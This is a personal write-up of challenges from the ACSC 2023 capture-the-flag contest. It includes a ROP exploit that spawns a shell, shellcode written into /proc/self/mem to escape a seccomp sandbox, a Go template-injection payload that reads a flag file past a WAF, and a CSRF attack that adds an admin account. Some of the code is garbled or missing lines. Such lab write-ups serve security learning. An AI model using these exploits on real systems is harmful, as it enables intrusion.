Asian Cyber Security Challenge 2023

I participated in ACSC CTF 2023 despite my overwhelming amount of homework ._. _(that was a mistake)_. Here are some of the writeups of the challenges that I did.


Just your typical ROP challenge. We are given a binary + 2 text files, RNA.txt and secret.txt, as well as the typical Dockerfile setup files. The program is straightforward:

int main(int argc, const char **argv, const char **envp)
  size_t v3; // rbx
  char v5[112]; // [rsp+10h] [rbp-170h] BYREF
  char buf[112]; // [rsp+80h] [rbp-100h] BYREF
  char s[104]; // [rsp+F0h] [rbp-90h] BYREF
  FILE *v8; // [rsp+158h] [rbp-28h]
  FILE *stream; // [rsp+160h] [rbp-20h]
  int i; // [rsp+16Ch] [rbp-14h]
  stream = fopen("RNA.txt", "r");
  fgets(s, 100, stream);
  printf("Give me vaccine: ");
  __isoc99_scanf("%s", buf);
  for ( i = 0; ; ++i )
    v3 = i;
    if ( v3 >= strlen(buf) )
    if ( buf[i] != 65 && buf[i] != 67 && buf[i] != 71 && buf[i] != 84 )
      puts("Only DNA codes allowed!");
  if ( strcmp(s, buf) )
    puts("Oops.. Try again later");
  puts("Congrats! You give the correct vaccine!");
  v8 = fopen("secret.txt", "r");
  fgets(v5, 100, v8);
  printf("Here is your reward: %s\n", v5);
  return 0;

We have a overflow in scanf, reading unlimited bytes into buf. s and the stack frame is after buf, so we can place a null byte as the first byte of buf and s to bypass the strcmp check, then overwrite the return address to ROP and print a GOT address then run main again.

Once we print out the GOT address (libc address), we can repeat the above, but now we can ROP to system('/bin/sh').

from pwn import *
context.binary = e = ELF("./vaccine")
rop1 = ROP(e)
libc = ELF("./")
p = remote("nc 1337")
p.sendlineafter(":", flat({ 0: b"\0", 0x70: b"\0", 0x100: p64(0) + rop1.chain()  }))
p.recvuntil("reward: ")
puts = u64(p.recvline()[:-1].ljust(8, b"\0"))
libc.address = puts - libc.sym.puts
success(f"{hex(libc.address) =}")
rop2 = ROP(libc)
p.sendlineafter(":", flat({ 0: b"\0", 0x70: b"\0", 0x100: p64(0) + rop2.chain()  }))

Merkle Hellman

We are given a python file that implements the Merkle-Hellman cryptosystem.

#!/usr/bin/env python3
import random
import binascii
def egcd(a, b):
	if a == 0:
		return (b, 0, 1)
		g, y, x = egcd(b % a, a)
		return (g, x - (b // a) * y, y)
def modinv(a, m):
	g, x, y = egcd(a, m)
	if g != 1:
		raise Exception('modular inverse does not exist')
		return x % m
def gcd(a, b):
	if a == 0:
		return b
	return gcd(b % a, a)
flag = open("flag.txt","rb").read()
# Generate superincreasing sequence
w = [random.randint(1,256)]
s = w[0]
for i in range(6):
	num = random.randint(s+1,s+256)
	s += num
# Generate private key
total = sum(w)
q = random.randint(total+1,total+256)
r = 0
while gcd(r,q) != 1:
	r = random.randint(100, q)
# Calculate public key
b = []
for i in w:
	b.append((i * r) % q)
# Encrypting
c = []
for f in flag:
	s = 0
	for i in range(7):
		if f & (64>>i):
			s += b[i]
print(f"Public Key = {b}")
print(f"Private Key = {w,q}")
print(f"Ciphertext = {c}")
# Output:
# Public Key = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
# Private Key = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910)
# Ciphertext = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]

After a quick readthrough, I realized that with just knowing b, the public key, we can solve this problem, since every characer in the flag represents a number in the ciphertext, one-to-one. You can see this in the ciphertext as well, where the second and fourth characters are both 22465 (the ‘C’ in ‘ACSC’).

Thus, I ran the algorithm on all printable characters and mapped them back to reclaim the flag:

b = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
# Encrypting
c = []
import string
flag = string.printable.encode("utf-8")
for f in flag:
	s = 0
	for i in range(7):
		if f & (64>>i):
			s += b[i]
g = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]
f = ""
for i in g:
	f += string.printable[c.index(i)]


We are given a pcap of USB packets (plus some other random protocols). The challenge text clued me into thinking I had to recover key presses:

Here is a packet capture of my computer when I was
preparing my presentation on Google Slides. Can you
reproduce the contents of the slides?

After some intense googling, I landed on this writeup. I applied the filter and after some playing around, I got here:

The preceding data was mostly mouse captures, which I expected to be part of the next challenge (pcap-2, which I didn’t solve).

For some reason Scapy was refusing to see the packets as USB packets. So after a bit of scrolling though, I just started collecting keys manually in order, and got the flag manually.

Admin Dashboard

We are given a web challenge with a few php files + Docker setup. I will just focus on one file, addadmin.php:

	ini_set('display_errors', 1);
	ini_set('display_startup_errors', 1);
	$params = session_get_cookie_params();
	$params['httponly'] = true;
	$params['samesite'] = 'Lax';
	if (!isset($_SESSION["user"])){
		echo '<meta http-equiv="refresh" content="0;url=login">';
	$conn = new mysqli("localhost","admin","admin","dashboard_db");
	if ($conn->connect_error) {
			die("Connection failed: " . $conn->connect_error);
	$sql = "SELECT * FROM secrets";
	$stmt = $conn->prepare($sql);
	$result = $stmt->get_result();
	$row = $result->fetch_assoc();
		$A = gmp_import($row['A']);
		$C = gmp_import($row['C']);
		$M = gmp_init("0xc4f3b4b3deadbeef1337c0dedeadc0dd");
	if (!isset($_SESSION['X'])){
		$X = gmp_import($_SESSION["user"]["username"]);
		$_SESSION['X'] = gmp_mod(gmp_add(gmp_mul($A, $X),$C),$M);
		$_SESSION["token-expire"] = time() + 30;
		if(time() >= $_SESSION["token-expire"]){
			$_SESSION['X'] = gmp_mod(gmp_add(gmp_mul($A, $_SESSION['X']),$C),$M);
			$_SESSION["token-expire"] = time() + 30;
	<title>Add admin account</title>
	<script src="" integrity="sha256-BTlTdQO9/fascB1drekrDVkaKd9PkwBymMlHOiG+qLI=" crossorigin="anonymous"></script>
	<!-- Bootstrap core CSS -->
	<link href="./bootstrap.min.css" rel="stylesheet">
<main role="main" class="container">
	<div class="col-xl-6 mt-5">
		<form class="form-add-note" action="addadmin" method="POST">
		<label for="title" class="sr-only">Username</label>
		<input type="text" name="username" class="form-control" placeholder="Username" required="" autofocus="">
		<input type="password" name="password" class="form-control" placeholder="Password" required="" autofocus="">
		<input type="hidden" name="csrf-token" value="<?=gmp_strval($_SESSION['X'],16)?>">
		<button class="btn btn-primary btn-block mt-2" type="submit">Add admin user</button>
			if(isset($_REQUEST['username']) && isset($_REQUEST['password']) && isset($_REQUEST['csrf-token'])){
				if($_SESSION["user"]["role"] !== "admin"){
					echo "<p class='text-danger'>No permission!</p>";
					if($_REQUEST['csrf-token'] === gmp_strval($_SESSION['X'],16)){
						$sql = "INSERT INTO users (username, password, role) VALUES (?,?,'admin')";
						$stmt = $conn->prepare($sql);
						$stmt->bind_param("ss", $_REQUEST['username'], $_REQUEST['password']);
						$result = $stmt->execute();
						echo "<p class='text-success'>Added successfully!</p>";
						echo "<p class='text-danger'>Wrong token!</p>";

There is also a report feature, where the admin logins in and visits a link.

Clearly, we are supposed to give a link to addadmin.php to add a user as admin, then we can login with the admin status. But to do that, we must first find $_SESSION['X'].

Interestingly, we know that this value is constant throughout. After all, the bot visits our links with a fresh session each time. We don’t know $A and $C, but $X is gmp_import(username) and username is ‘admin’, and $M is known in this equation: $_SESSION['X'] = ($A*$X + $C) % $M.

I tried to leak out the the value $C by using a username that is 0 = gmp_import(username), but I could never register such a username. Instead, I created a users with username alohaamegos .. alohaamegow, and saw how the value of $_SESSION['X'] changed (printed in the csrf-token). Since the names when gmp_import-ed are just 1 number away from each other, I managed to recover $A. After that I just did ($_SESSION['X'] for alohaamegos) - $A * (gmp_import('alohaamegos') - gmp_import('admin')) % $M to recover the value that $_SESSION['S'] is for admin, which was 794012a4d68a19dda718e8f04553f4e3. Then I just sent a addadmin.php link with this csrf and a new username and password to the report page, and logged in with the new user details to see the flag.


Just a little Javascript obfuscation. The core of the code is given below:

function b(d, f) {
  var g = [
    h = [
    j = Math["floor"](Math["random"]() * (0x313 * -0x8 + 0x24c1 + -0xc1f)), // 10
    k = Math["floor"](Math["random"]() * (-0x725 + -0x1546 + 0x1c75)), // 10
    l = g[j],
    o = h[k],
    r = l * o,
    s = Math["floor"](Math["random"]() * (0x2647 + 0x1 * 0x2f5 + -0x2937)), // 5
    // t = pow(2, pow(2, s)) + 1
    t =
        -0x14e6 + 0x43 * 0x55 + -0x7 * 0x31,
        Math["pow"](-0x14e1 * 0x1 + -0x2697 + 0x2e * 0x14b, s),
      ) +
      (-0x235d + 0x2 * 0x82b + 0x3a * 0x54);
  function u(A) {
    var B = new TextEncoder()["encode"](A);
    let C = 0x0n;
    for (let D = 0; D < B["length"]; D++) {
      C = (C << 0x8n) + BigInt(B[D]);
    return C;
  var v = u(d);
  function w(A, B, C) {
    if (B === 0) return 0x1n;
    return B % 2 === 0 ? w((A * A) % C, B / 2, C) : (A * w(A, B - 1, C)) % C;
  var x = w(v, t, r);
  let y = [];
  while (x > 0) {
    y["push"](Number(x & 0xff)), (x = x >> 0x8);
  y["push"](Number(s)), y["push"](Number(k)), y["push"](Number(j));
  var z = new TextEncoder()["encode"](f);
  for (let A = 0; A < y["length"]; ++A) {
    y[A] = y[A] ^ z[A % z["length"]];
  return btoa(y["reverse"]());

We are also given the output of this function as a base64 string, as well as the value of f, which is the password acscpass. Just doing the reverse of what the algorithm does, we can easily obtain s, k, j which are the random values, as well as x:

var d = [...] // un-base64 value
var y = d.reverse();
var z = new TextEncoder()['encode']("acscpass");
for (let A = 0; A < y['length']; ++A) {
    y[A] = y[A] ^ z[A % z['length']];
j = y.pop()
k = y.pop()
s = y.pop()
x = BigInt(0)
for (let i = 0; i < y.length; i++) {
    x |= BigInt(y[i]) << (8n*BigInt(i))

x is the output of w(v, t, r) and v = u(d). u is just string to BigInt conversion, byte by byte, of d, the plaintext parameter. t and r are known since we know s, j and k. w is fast exponentiation of v^t % r.

It took me like 7 hours to figure out that this is RSA… r = n = p * q, and we know p, q = l, o which are known. e = t is also known. Plugging the values into RsaCtfTool:


Probably the most fun challenge in this ctf. We are given the seccomp python library, and Dockerfile setup, as well as the source code of the server:

#!/usr/bin/env python3
import seccomp
if __name__ == '__main__':
    f = seccomp.SyscallFilter(defaction=seccomp.ALLOW)
    f.add_rule(seccomp.KILL, 'close')
    eval(input("code: "))

We can run arbitrary code, as long as it does not call the close syscall. This is a bit strange, since all we need to do is open('flag.txt').read(), right?

However, the Dockerfile says that flag.txt has been renamed:

RUN chmod 440 flag.txt
RUN mv flag.txt flag-$(md5sum flag.txt | awk '{print $1}').txt

So we need to get a file listing first. What about if we get shell?


Well that didn’t work. But that makes sense right? To load a new process you need to open the shared libraries (,, map them into memory, then close them.

What about just os.listdir()?


Apparently what happens is that after opendir, the fd is dup so that it can get close afterwards … ok python.

Similarly, scandir failed for the same reason for me


P.S. that’s because I’m dumb, there is a way to make this work…

I fired up the Docker image and installed strace onto it. I wanted to manually call the libc.readdir function, by importing ctypes. Apparently that doesn’t work either, because imports that are not already loaded at this point in time will cause a file read of the .pyc file and will close the file, which triggers the seccomp. After some painful debugging and frantic googling, I settled on a dumb solution that I had used in the past.

We can simple overwrite the entire python3 executable section with shellcode, by parsing the /proc/self/maps file to find the r-x section, then write + lseek to /proc/self/mem at the address to write in shellcode. The solution is given below:

from pwn import *
context.arch = 'amd64'
#a = asm('int3')
a = b""
a += asm('.'))
a += asm(shellcraft.getdents('rax', 'rsp', 0x500))
a += asm(shellcraft.write(1, 'rsp', 0x500))
a += asm(shellcraft.exit(0))
b = a.hex()
line = f"""
(lambda maps, mem, sc:
(lambda mapsstr:
(lambda s, e:
print(mapsstr, hex(s), hex(e), hex(e-s-len(sc)), __import__('os').lseek(mem, s, 0),
__import__('os').write(mem, b'\\x90'*(e-s-len(sc)) + sc))
int(mapsstr.split(b'\\n')[1].split(b'-')[0], 16),
int(mapsstr.split(b'\\n')[1].split(b'-')[1].split(b' ')[0], 16)
(__import__('os').read(maps, 0x200))
__import__('os').open('/proc/self/maps', 0),
__import__('os').open('/proc/self/mem', 2),
line = line.replace('\n', '')
p = remote('', 9341)

The filenames will be dumped out (a bit messy to find the file name, can just Ctrl-F). Then a simple open + read will leak out the flag.


We are given golang templating server with a obvious SSTI vulnerability:

func templateMiddleware(next echo.HandlerFunc) echo.HandlerFunc {
	return func(c echo.Context) error {
		file, err := os.Open("./template.html")
		if err != nil {
			return err
		stat, err := file.Stat()
		if err != nil {
			return err
		buf := make([]byte, stat.Size())
		_, err = file.Read(buf)
		if err != nil {
			return err
		userTemplate := c.Request().Header.Get("Template")
		if userTemplate != "" {
			buf = []byte(userTemplate)
		c.Set("template", buf)
		return next(c)
func handleIndex(c echo.Context) error {
	tmpl, ok := c.Get("template").([]byte)
	if !ok {
		return fmt.Errorf("failed to get template")
	tmplStr := string(tmpl)
	t, err := template.New("page").Parse(tmplStr)
	if err != nil {
		return c.String(http.StatusInternalServerError, err.Error())
	buf := new(bytes.Buffer)
	if err := t.Execute(buf, c); err != nil {
		return c.String(http.StatusInternalServerError, err.Error())
	return c.HTML(http.StatusOK, buf.String())
func main() {
	e := echo.New()
	e.GET("/", handleIndex, templateMiddleware)

We also have a WAF that blocks the flag:

server.register(proxy, {
  upstream: "http://app:3001",
  replyOptions: {
    rewriteRequestHeaders: (req, headers) => {
      const allowedHeaders = ["host", "user-agent", "accept", "template"];
      return Object.fromEntries(
        Object.entries(headers).filter((el) => allowedHeaders.includes(el[0])),
    onResponse: (request, reply, res) => {
      const dataChunk = [];
      res.on("data", (chunk) => {
      res.on("end", () => {
        const data = dataChunk.join("");
        if (/ACSC\{.*\}/.test(data)) {
          return reply.code(403).send("??");
        return reply.send(data);

The c object is a echo.Context. It contains a File method, which we can use if we set the template header as below:

Template: {{.File "/flag"}}

This triggers the WAF and gets blocked. Surely the context has some useful functions/fields? We can get the http.Request as well as the Response, but we can also get the *Echo instance. A quick look at the file shows us that we can call the .File function to add new route handlers (they still get blocked for /flag).

However, Echo inherits from fileSystem, which has the Filesystem.Open method which gives us the fs.File instance. This contains the Read method, but we need to find a suitable parameter for the byte[]. After a little bit of pain, I realised I could use the “template” context metadata as a byte buffer:

{{.Get "template"}} {{ .Get "template" | (.Echo.Filesystem.Open "/flag").Read }} {{.Get "template"}}

This also bypassed the WAF since the bytes get encoded. If not, I could .Seek the file first to skip the first character and bypass the WAF anyway.

Hardware is not so hard

I was actually scared of this challenge, but it turned out to be really easy. I little bit of googling and reading led me to CMD17, the read command and information on the SPI command format.

I realised that the data starts from here:

The 51 is CMD17 (0x51 - 0x40 = 17), and the argument is 0 (middle 3 bytes). The response is 1 byte, followed by many bytes, then another request.

So all we need to do is combine the responses together. The data for each response actually starts after we see the first 0xfe, and goes on until the second last byte (last 2 bytes are CRC). But you can just smash the data together, as they could be out of order. For CMD17, the argument specifies which 512-byte-block of data to get. Using this, we can build back the file in the correct order:

from pwn import *
file = open('f.txt').readlines()
#[(True, 0101) ...] <-- True means Device to SD Card
data = list(map( lambda x: (x.startswith('Device'), bytes.fromhex(x.split(' : ')[1])), file ))
consider = False
s = [None]*1000
last = None
for fr, data in data:
    if fr:
        last = data
    if b"JFIF" in data:
        consider = True
    if consider and data != b"\x00":
        a = last
        cmd = a[0] - 0x40
        arg = u64(a[1:5].rjust(8, b"\0"), endianness='big')
        d = data[data.find(b"\xfe") + 1:-2]
        s[arg] = d
s = b"".join(s[:s.index(None)])
open("wat.jpg", "wb").write(s)


The challenge was a bit weird … I googled a lot for it, but I ended up just writing a slightly more optimized version of the code to solve it.

int __cdecl main(int argc, const char **argv, const char **envp)
  unsigned __int64 j; // [rsp+28h] [rbp-18h]
  char v5; // [rsp+33h] [rbp-Dh]
  int i; // [rsp+34h] [rbp-Ch]
  unsigned __int64 v7; // [rsp+38h] [rbp-8h]
  puts("The flag is \"ACSC{");
  v7 = 1i64;
  for ( i = 0; i <= 11; ++i )
    for ( j = 0i64; j < v7; ++j )
      v5 = w();
    putc(v5 ^ (unsigned __int8)xorarr[i]);
    v7 *= 42i64;
  return 0;
__int64 w()
  int tmp; // [rsp+8h] [rbp-8h]
  tmp = n & 1;
  n = n >> 1;
  n ^= -tmp & 0x80200003;
  return n;

It’s basically just a Galois LFSR. Each character is formed by 42^i iterations of the LFSR. This will explode for 11 chracters, but we know the number is 32-bit and will wrap around, so our ‘optimized’ version of the code can just modulus:

data = [0x01, 0x19, 0xEF, 0x5A, 0xFA, 0xC8, 0x2E, 0x69, 0x31, 0xD7, 0x81, 0x21]
key = 0x3D2964F0
cnt = 0
total = 0
for i in data:
    total = pow(42,cnt)
    rnd = total % 0xFFFFFFFF
    for j in range(rnd):
        key = (key >> 1) ^ (-(key & 1) & 0x80200003)
    print(chr((key ^ data[cnt]) & 0xFF))
    cnt += 1

The only difference is the modulus. It still takes ~1 hour to run…


I had fun, but I got tripped up by the pwn challenges (they are not even in the same level of difficulty as the other categories…). Too much math involved in all the challenges as well, for some reason. But I enjoyed it, even if I don’t think I will be selected for the team (3rd in SG but there are quotas).